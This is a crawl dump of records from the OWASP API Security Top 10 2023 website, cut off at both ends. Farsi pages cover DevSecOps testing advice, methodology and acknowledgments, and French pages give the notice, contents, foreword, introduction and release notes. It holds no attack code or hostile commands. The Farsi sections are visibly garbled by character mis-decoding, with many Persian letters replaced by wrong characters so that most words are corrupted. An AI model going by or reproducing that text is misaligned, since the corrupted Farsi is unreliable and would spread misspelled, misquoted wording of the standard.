کنید تا ŘŻŘą جریان باشید.\n\n| | |\n| --- | --- |\n| ŘŻŘąÚŠ مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگع شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) و [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باؚ؍ شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. |\n| ŘŻŘąÚŠ چرخه توسعه نرم افزاع | تیم توسعه عا به فرایند اضافه کنید تا آنها نیز ŘŻŘąÚŠ بهتری از چرخه توسعه نرم افزاع پیدا کنند. مشارکت شما ŘŻŘą انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اؾءڊاڊ و مقاومتی و؏ود نداشته باشد. |\n| راهبرد انجام تست | با توجه به اینکه ڊاع شما نباید تاثیری بع سعؚت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ عا برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework](https://owasp.org/www-project-security-knowledge-framework/) و [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع ؎وب دیگری از [پروژه‌ها](http://devsecops.github.io/) و [ابزارها](https://github.com/devsecops/awesome-devsecops) مشابه با مواردی که توسء [DevSecOps community](https://www.devsecops.org/) پیشنهاد می‌شود، و؏ود داعد. |\n| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بع روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به ؾوعت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی ڊاع کنید تا بتوانید زمان و تلاش‌تان عا بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به ؾوعت مداوم بررسی شوند، هدف گذاری کنید. |\n| به و؜وح یافته‌‌‌ها عا به اشتعاڊ بگذارید | با کمترین اؾءڊاڊ یا بدون اؾءڊاڊ مشارکت داشته باشید. یافته‌‌ها عا ŘŻŘą بازه زمانی مشخص و ŘŻŘą قالب ابزارهای مورد استفاده توسء تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها عا به آن‌ها نشان دهید. از این فعؾت برای آموزش آنها استفاده کنید، به ؾوعت شفاف ŘŻŘą مورد نقطه ؜ؚف و روش‌های سوإ استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر بعسد. |", "znaku_textu": 4707, "slov": 529, "odkazu": 62, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:36", "sha256": "7da6904070d55986c0084fb5580972ed5387eaf19ea1e913bae1c2bb7ace4301", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xd0-about-data/", "titulek": "متدلوژی و داده - OWASP API Security Top 10", "h1": "متدلوژی و داده", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xd0-about-data/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "متدلوژی و داده"}, {"uroven": 2, "text": "بررسی اجمالی"}, {"uroven": 2, "text": "متدلوژی"}, {"uroven": 2, "text": "ریسک‌های مختص API"}], "markdown": "# متدلوژی و داده\n\n## بررسی اجمالی\n\nŘŻŘą تهیه این فهرست، تیم امنیت OWASP API از عوش مشابهی که برای ایجاد لیست مشهور و ٞعءعفداع سال 2019 با موفقیت به ڊاع رفته بود، استفاده کرده است. این عوش شامل بررسی امنیت API ها و شناسایی مشکلات امنیتی آنها می‌باشد. علاوه بع عوش اصلی، [فراخوانی عمومی](https://owasp.org/www-project-api-security/announcements/cfd/2022/) به مدت سه ماه برای جمع‌آوری داده‌ هم اعلام Ř´ŘŻ. متأسفانه، داده‌های به دست آمده از فراخوان، امکان تجزیه و تحلیل معتبر آماری از مشکلات امنیتی رایج ŘŻŘą APIها عا نداشتند. با این حال، فرآیند به‌روزرسانی با استفاده از همان عوش متداول ادامه یافت.\n\nامیدواریم به‌روزرسانی فعلی، که یک سند آگاهی‌دهنده و متمرکز بع مسائل مربوط به APIهای مدرن است برای استفاده تا سه الی چهار سال آینده مناسب باشد. هدف اصلی این پروژه این ارائه جایگزینی برای top 10 API نبوده و تمرکز آن بع مسائل مرتبط با امنیت API و ریسک‌های آینده ŘŻŘą این زمینه است و به عنوان یک ابزاع آموزشی و آگاهی‌دهنده عمل می‌کند تا صنعت به بهترین نحو ممکن از این موارد آگاه شده و اقدامات لازم عا برای حفاظت از امنیت اطلاعات ؾوعت پذیرد.\n\n## متدلوژی\n\nŘŻŘą فاز اول، داده‌‌های ŘŻŘą دستعس عموم ŘŻŘą حوزه رخداد‌‌های مرتبط با امنیت API توسء گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شڊاع باگ و پایگاه‌‌های داده به منظور تحلیل آماری جمع آوری شده اند. این داده‌ها ŘŻŘą بازه زمانی بین 2019 تا 2022 گزاعش شده بودند و هدف از این جمع‌آوری آن‌ها، تکامل لیست 10 API پیشین برای سال‌های آینده و کمک به مدیریت داده‌های ارائه شده توسء افعاد مختلف بود. به این ترتیب، تیم امنیت OWASP API توانست از تجربیات و داده‌های موجود به‌ شکل معقولی ŘŻŘą تدوین لیست جدید امنیتی از مشکلات API استفاده کند.\n\n[فراخوانی عمومی](https://owasp.org/www-project-api-security/announcements/cfd/2022/) از سپتامبر تا آ؎ع نوامبر 2022، برای جمع‌آوری داده آغاز Ř´ŘŻ که هم‌زمان با آن، تیم پروژه به بررسی تغییراتی که از سال 2019 به وقوع پیوسته بود، ٞعدا؎ت. این بررسی شامل ارزیابی تأثیر لیست امنیتی اول، بازخوردهای دریافتی از جامعه و مشاهده تغییرات و روندهای جدید ŘŻŘą حوزه امنیت API بود. با انجام این فراخوان، داده‌ها و بازخوردهای تازه‌ای از افعاد مختلف و جامعه امنیتی جمع‌آوری Ř´ŘŻ تا تیم پروژه با آگاهی از تغییرات اخیر ŘŻŘą امنیت API، آن‌ها عا ŘŻŘą لیست جدید مسائل امنیتی مد نظر قرار دهد.\n\nاین تلاش منجر به تهیه نسخه اولیه‌ای از ده ریسک‌ بحرانی امنیتی API Ř´ŘŻ. [عوش ارزیابی ریسک OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) ŘŻŘą تجزیه و تحلیل داده‌ها و ارائه نسخه اولیه مورد استفاده قرار گعفت. امتیازات میزان شیوع بعاساس توافق میان اعضای تیم پروژه و بعاساس تجربه‌ آن‌ها ŘŻŘą این حوزه تعیین شدند. برای اطلاعات بیشتر ŘŻŘą این خصوص، به ب؎ش مرتبط با [ریسک‌های امنیتی API](../0x10-api-security-risks/) مراجعه فرمایید.\n\nنسخه اولیه تهیه شده، با افعاد متخصص ŘŻŘą زمینه امنیت API به اشتعاڊ گذاشته Ř´ŘŻ. نظرات ارائه‌شده، بررسی، بح؍ و ŘŻŘą ؾوعت نیاز به سند اضافه شدند. سند نهایی به عنوان [نسخه نهایی برای بح؍ عمومی](https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc) منتشر Ř´ŘŻ تا [مورد بح؍](https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC) قرار گیرد و تعدادی از [نظرات و مشارکت‌های](https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC) ارائه‌شده از جامعه به سند نهایی اضافه گردید. ŘŻŘą نهایت، با همکاری افعاد متخصص و جامعه لیست نهایی مشکلات امنیتی API تدوین گردید.\n\nلیست مشارکت کنندگان ŘŻŘą ب؎ش [سپاسگزاری ها](../0xd1-acknowledgments/) قابل مشاهده است.\n\n## ریسک‌های مختص API\n\nلیست حاضر، به منظور پرداختن به مخاطرات امنیتی API‌ها ایجاد شده و از آن برای بعءعف کردن چالش‌های امنیتی ؎اؾ API‌ها استفاده می‌شود. این لیست به تهدیدات عمومی امنیتی که ŘŻŘą تمام برنامه‌های کاربردی وب و نرم‌افزارها و؏ود دارند، توجهی نمی‌کند و هدف اصلی آن، افزایش آگاهی از تهدیدات ŘŻŘą زمینه API‌ها و راهکارهای مورد نیاز آن‌هاست.", "znaku_textu": 6068, "slov": 734, "odkazu": 64, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:52", "sha256": "695946624f92ca2228de19cba53e029b8b180903e05476ab7c0896b6aed324ca", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC", "https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xd1-acknowledgments/", "titulek": "ACK سپاسگزاری‌ها - OWASP API Security Top 10", "h1": "ACK سپاسگزاری‌ها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xd1-acknowledgments/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ACK سپاسگزاری‌ها"}, {"uroven": 2, "text": "سپاسگزاری از مشارکت کنندگان"}, {"uroven": 3, "text": "ترجمه فارسی (Farsi Translation)"}, {"uroven": 3, "text": "مترجمین (Translators)"}, {"uroven": 3, "text": "ویراستار (Editor)"}], "markdown": "# ACK سپاسگزاری‌ها\n\n## سپاسگزاری از مشارکت کنندگان\n\nبدینوسیله از تمامی مشارکت کنندگانی که به ءوع عمومی ŘŻŘą GitHub و به سایر طرق ŘŻŘą توسعه این مستند نقش داشته‌اند ŘŞŘ´ÚŠŘą می‌نماییم:\n\n- abunuwas\n- Alissa Knight\n- Arik Atar\n- aymenfurter\n- Corey J. Ball\n- cyn8 d0znpp\n- Dan Gordon\n- donge\n- Dor Tumarkin\n- faizzaidi\n- gavjl\n- guybensimhon\n- InĂŞs Martins\n- Isabelle Mauny\n- Ivan Novikov\n- jmanico\n- Juan Pablo\n- k7jto\n- LaurentCB\n- llegaz\n- Maxim Zavodchik\n- MrPRogers\n- planetlevel\n- rahulk22\n- Roey Eliyahu\n- Roshan Piyush\n- securitylevelup\n- sudeshgadewar123\n- Tatsuya-hasegawa\n- tebbers\n- vanderaj\n- wenz\n- xplo1t-sec\n- Yaniv Balmas\n- Ynvb\n- Alireza Mostame\n- Maryam Javadi Hoseini\n- Mohammad Reza Ismaeli Taba\n\n### ترجمه فارسی (Farsi Translation)\n\nاین ترجمه با حمایت Ř´ŘąÚŠŘŞ راسپینا نت ٞاعس تهیه شده است. استاندارد OWASP Security API Top 10 می‌تواند به عنوان مرجع راهنما ŘŻŘą توسعه ایمن API و همچنین مرجع بررسی ŘŻŘą فرایند آزمون نفوذ پذیری مورد استفاده قرار گیرد.\n\n### مترجمین (Translators)\n\n- محمد ع؜ا اسمعیلی ءبا (Mohammad Reza Ismaeli Taba)\n- مریم جوادی حسینی (Maryam Javadi Hoseini)\n\n### ویراستار (Editor)\n\n- علیرضا مستمع (Alireza Mostame)", "znaku_textu": 1415, "slov": 184, "odkazu": 61, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:09", "sha256": "2c2d20f8207e19e588869325b7b628a73b19987bd430824188d653b58c47f1bd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "", "popis": "OWASP API Security Top 10 2023 edition", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x00-header/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "| | | |\n| --- | --- | --- |\n| https://owasp.org | Ce travail est sous licence [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 161, "slov": 14, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:51", "sha256": "7298548cf96ea417e010f8e9b0f0847f0d098568be52d6077190b745a3b2e07e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x00-notice/", "titulek": "Note - OWASP API Security Top 10", "h1": "Note", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x00-notice/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Note"}], "markdown": "# Note\n\nCe document est la version texte traduite en français de l'OWASP API Security Top 10. Il est utilisé comme source pour toutes les versions officielles de ce document, telles que le site web.\n\nLes contributions au projet telles que les commentaires, les corrections ou les traductions doivent être effectuées ici. Pour plus de détails sur [Comment contribuer](../../../../CONTRIBUTING/), veuillez vous référer à [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy\n- Paulo Silva", "znaku_textu": 499, "slov": 69, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:05", "sha256": "fea8fb79b86ef736e6679879f3d9bc3eb96ebb61dc29fc01d4dfcb7dca5a9642", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x00-toc/", "titulek": "Table des Matières - OWASP API Security Top 10", "h1": "Table des Matières", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x00-toc/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Table des Matières"}], "markdown": "# Table des Matières\n\n- [Table des Matières](./)\n- [À propos de l'OWASP](../0x01-about-owasp/)\n- [Avant-propos](../0x02-foreword/)\n- [Introduction](../0x03-introduction/)\n- [Notes de publication](../0x04-release-notes/)\n- [Risques de sécurité des API](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2023](../0x11-t10/)\n- [API1:2023 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2023 Broken Authentication](../0xa2-broken-authentication/)\n- [API3:2023 Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/)\n- [API4:2023 Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/)\n- [API5:2023 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2023 Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [API7:2023 Server Side Request Forgery](../0xa7-server-side-request-forgery/)\n- [API8:2023 Security Misconfiguration](../0xa8-security-misconfiguration/)\n- [API9:2023 Improper Inventory Management](../0xa9-improper-inventory-management/)\n- [API10:2023 Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/)\n- [Perspectives pour les Développeurs](../0xb0-next-devs/)\n- [Perspectives pour les DevSecOps](../0xb1-next-devsecops/)\n- [Méthodologie et données](../0xd0-about-data/)\n- [Remerciements](../0xd1-acknowledgments/)", "znaku_textu": 1423, "slov": 142, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:43", "sha256": "2badcf64cd8970c2bf59a959c7a299393d5c8bd62a249fae4761f512b59ce417", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x01-about-owasp/", "titulek": "À propos de l'OWASP - OWASP API Security Top 10", "h1": "À propos de l'OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x01-about-owasp/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "À propos de l'OWASP"}, {"uroven": 2, "text": "Copyright et licence"}], "markdown": "# À propos de l'OWASP\n\nL'Open Worldwide Application Security Project (OWASP) est une communauté ouverte qui cherche à aider les organisations à développer, acheter et maintenir des applications et des API en lesquelles elles peuvent avoir confiance.\n\nL'OWASP vous met à disposition gratuitement et en libre accès :\n\n- Des outils et des normes de sécurité pour les applications.\n- Des livres complets à propos des tests de sécurité sur les applications, du développement de code sécurisé et de la revue de code sécurisé.\n- Des présentations et des [vidéos](https://www.youtube.com/user/OWASPGLOBAL) .\n- Des [Cheat sheets](https://cheatsheetseries.owasp.org/) sur de nombreux sujets.\n- Des contrôles et des bibliothèques de sécurité standard.\n- Des [communautés locales partout dans le monde](https://owasp.org/chapters/) .\n- Des recherches de pointe.\n- De nombreuses [conférences partout dans le monde](https://owasp.org/events/) .\n- Des [listes de diffusion](https://groups.google.com/a/owasp.org/forum/#!overview) ( [archive](https://lists.owasp.org/mailman/listinfo) ).\n\nPlus de renseignements sur : [https://www.owasp.org](https://www.owasp.org).\n\nTous les outils, documents, vidéos, présentations et communautés de l'OWASP sont gratuits et ouverts à toute personne intéressée par l'amélioration de la sécurité des applications.\n\nNous considerons la sécurité des applications d'abord comme un problème impliquant des personnes, des processus et de la technologie. La manière la plus efficace de la faire progresser est donc de travailler sur l'ensemble de ces domaines en même temps.\n\nL'OWASP est un nouveau type d'organisation. Notre liberté face aux pressions commerciales nous permet de fournir des informations impartiales, pratiques et rentables sur la sécurité des applications.\n\nL'OWASP n'est affiliée à aucune entreprise de technologie, bien que nous soutenions l'utilisation éclairée de technologies sous licences commerciales. L'OWASP produit toutes sortes d'éléments de manière collaborative, transparente et ouverte.\n\nLa Fondation OWASP est l'entité à but non lucratif qui garantit le succès à long terme du projet. La quasi-totalité des personnes associée à l'OWASP est bénévole, y compris le conseil d'administration, les responsables des communautés, les responsables de projets et les membres des projets. Nous soutenons la recherche et l'innovation sur la sécurité par des subventions et des infrastructures.\n\nRejoignez-nous !\n\n## Copyright et licence\n\nCopyright © 2003-2023 The OWASP Foundation. \nCe document est distribué sous la [licence Creative Commons Attribution Share-Alike 4.0](http://creativecommons.org/licenses/by-sa/4.0/). Toute réutilisation ou distribution doit clairement mentionner les termes et condition de licence de cette oeuvre.", "znaku_textu": 2745, "slov": 362, "odkazu": 65, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:47", "sha256": "cb1543db9fad5a5468798783ffe1cfa66af9ef3112f0ba42d72ace2244617983", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/a/owasp.org/forum/", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x02-foreword/", "titulek": "Avant-propos - OWASP API Security Top 10", "h1": "Avant-propos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x02-foreword/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Avant-propos"}], "markdown": "# Avant-propos\n\nActuellement, l'innovation dans le monde des applications est portée par l'Interface de Programmation Applicative (API). \nDes banques en passant par le commerce et le transport, jusqu'à l'IoT, les véhicules autonomes et les villes intelligentes, les API sont une partie essentielle des applications modernes, que ces applications soient des logiciels, des applications web ou mobiles. Les API peuvent être utilisées dans des applications destinées aux consommateurs, aux partenaires ou à des usages internes.\n\nPar nature, les API exposent la logique de l'application et des données sensibles telles que les données à caractère personnel (DCP) et, en raison de cela, les API sont devenues de plus en plus une cible privilégiée pour les attaquants. Sans API sécurisées, une innovation rapide serait impossible.\n\nBien que la liste des 10 principaux risques de sécurité des applications web soit toujours pertinente, en raison la nature particulière des API, une liste spécifique des risques de sécurité consacrée aux API était nécessaire. La sécurité des API se concentre sur des stratégies et des solutions pour comprendre et atténuer les vulnérabilités uniques et les risques de sécurité associés aux API.\n\nSi vous êtes familier avec le [Projet OWASP Top 10](https://owasp.org/www-project-top-ten/), vous remarquerez les similitudes entre les deux documents : ils sont conçus pour être lisibles et pour facilement se les approprier. Si vous êtes nouveau dans la série OWASP Top 10, vous feriez peut-être mieux de lire les sections [Risques de sécurité des API](../0x10-api-security-risks/) et [Méthodologie et données](../0xd0-about-data/) avant de vous plonger dans la liste du Top 10.\n\nVous pouvez contribuer au OWASP API Security Top 10 avec vos questions, commentaires et idées sur notre dépôt de projet GitHub :\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nVous pouvez trouver le OWASP API Security Top 10 ici :\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nNous tenons à remercier tous les contributeurs qui ont rendu ce projet possible par leur effort et leurs contributions. Ils sont tous répertoriés dans la [section Remerciements](../0xd1-acknowledgments/). Merci !", "znaku_textu": 2288, "slov": 336, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:51", "sha256": "9bcfbb1eef489924e05c7fb49091b4dcee8898b4a33403172be9aaf5a4458bc1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x03-introduction/", "titulek": "Introduction - OWASP API Security Top 10", "h1": "Introduction", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x03-introduction/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Bienvenue dans le OWASP API Security Top 10 - 2023!"}], "markdown": "# Introduction\n\n## Bienvenue dans le OWASP API Security Top 10 - 2023!\n\nBienvenue dans la seconde édition du OWASP API Security Top 10!\n\nCe document de sensibilisation a été publié pour la première fois en 2019. Depuis\nlors, le secteur de la sécurité des API a prospéré et est devenue plus mature.\nNous croyons fermement que la première édition de ce document a contribué positivement à cette industrie,\ncar il a rapidement été adopté comme une référence.\n\nLes API jouent un rôle très important dans l'architecture moderne des applications.\nMais comme l'innovation évolue à un rythme différent de la sensibilisation à la sécurité,\nnous pensons qu'il est important de se concentrer sur la sensibilisation à la sécurité des API.\n\nLe principal objectif du OWASP API Security Top 10 est d'éduquer ceux qui sont\nimpliqués dans le développement et la maintenance des API, par exemple, les\ndéveloppeurs, les designers, les architectes, les managers ou les\norganisations. Vous pouvez en savoir plus sur le projet en\nvisitant [la page du projet](https://owasp.org/www-project-api-security/).\n\nSi vous n'êtes pas familier avec la série OWASP top 10, nous vous recommandons de\nconsulter au moins les projets suivants :\n\n- [OWASP Cloud-Native Application Security Top 10](https://owasp.org/www-project-cloud-native-application-security-top-10/)\n- [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)\n- [OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)\n- [OWASP Low-Code/No-Code Top 10](https://owasp.org/www-project-top-10-low-code-no-code-security-risks/)\n- [OWASP Machine Learning Security Top Ten](https://owasp.org/www-project-machine-learning-security-top-10/)\n- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)\n- [OWASP TOP 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)\n- [OWASP Top 10 Client-Side Security Risks](https://owasp.org/www-project-top-10-client-side-security-risks/)\n- [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n- [OWASP Serverless Top 10](https://owasp.org/www-project-serverless-top-10/)\n\nAucun de ces projets n'en remplace un autre : si vous travaillez sur une application\nmobile alimentée par une API back-end, vous feriez mieux de lire les deux Top 10\ncorrespondants. Il en va de même si vous travaillez sur une application web ou\nde bureau alimentée par des API.\n\nDans la section [Méthodologie et données](../0xd0-about-data/), vous pouvez en savoir plus sur la\nfaçon dont cette édition a été créée. Nous encourageons tout le\nmonde à contribuer avec des questions, des commentaires et des idées sur notre\n[dépôt GitHub](https://github.com/OWASP/API-Security) ou notre [liste de diffusion](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2865, "slov": 413, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:55", "sha256": "31a616ec7aa9d4167960d6d1f75ae6c8ab3003271e474ced031ca413249f0658", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x04-release-notes/", "titulek": "Notes de publication - OWASP API Security Top 10", "h1": "Notes de publication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x04-release-notes/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notes de publication"}], "markdown": "# Notes de publication\n\nCe document est la seconde édition du OWASP API Security Top 10, disponible exactement quatre ans\naprès sa première publication. Beaucoup de choses ont changé dans le domaine (de\nla sécurité) des API. Le trafic des API a augmenté à un rythme soutenu, certains\nprotocoles API ont gagné en popularité, de nouvelles solutions de sécurité ont vu le jour, et, bien sûr, les attaquants ont développé de nouvelles compétences et techniques pour compromettre les API. Il était grand temps de mettre à jour la liste des dix risques de sécurité API les plus critiques.\n\nAvec une industrie de la sécurité des API plus mature, pour la première fois, il y a eu [un appel public à la collecte de données](https://owasp.org/www-project-api-security/announcements/cfd/2022/). Malheureusement, aucune donnée n'a été envoyée, mais sur la base de l'expérience de l'équipe du projet, de l'examen attentif de la part des spécialistes de la sécurité des API et des retours de la communauté sur la version candidate, nous avons construit cette nouvelle liste. Dans la [section Méthodologie et Données](../0xd0-about-data/), vous trouverez plus de détails sur la façon dont cette version a été construite. Pour plus de détails sur les risques de sécurité, veuillez vous référer à la [section Risques de sécurité des API](../0x10-api-security-risks/).\n\nLe OWASP API Security Top 10 2023 est un document de sensibilisation tourné vers l'avenir pour une industrie en constante évolution. Il ne remplace pas les autres TOP 10. Dans cette édition :\n\n- Nous avons combiné l' \"Excessive Data Exposure\" et le \"Mass Assignment\" en mettant l'accent sur la cause commune : \"Broken Object Property Level Authorization\".\n- Nous avons mis davantage l'accent sur la consommation de ressources, plutôt que sur le rythme auquel elles sont épuisées.\n- Nous avons créé une nouvelle catégorie \"Unrestricted Access to Sensitive Business Flows\" pour aborder de nouvelles menaces, comprenant la plupart de celles qui peuvent être atténuées par le biais du rate limiting.\n- Nous avons ajouté \"Unsafe Consumption of APIs\" pour aborder quelque chose que nous avons commencé à voir : les attaquants ont commencé à chercher à compromettre les services intégrés de la cible, au lieu de viser directement les API. C'est le bon moment pour commencer à sensibiliser à ce risque croissant.\n\nLes API jouent un rôle de plus en plus important dans l'architecture moderne des microservices, les applications monopages (SPA), les applications mobiles, l'IoT, etc. Le OWASP API 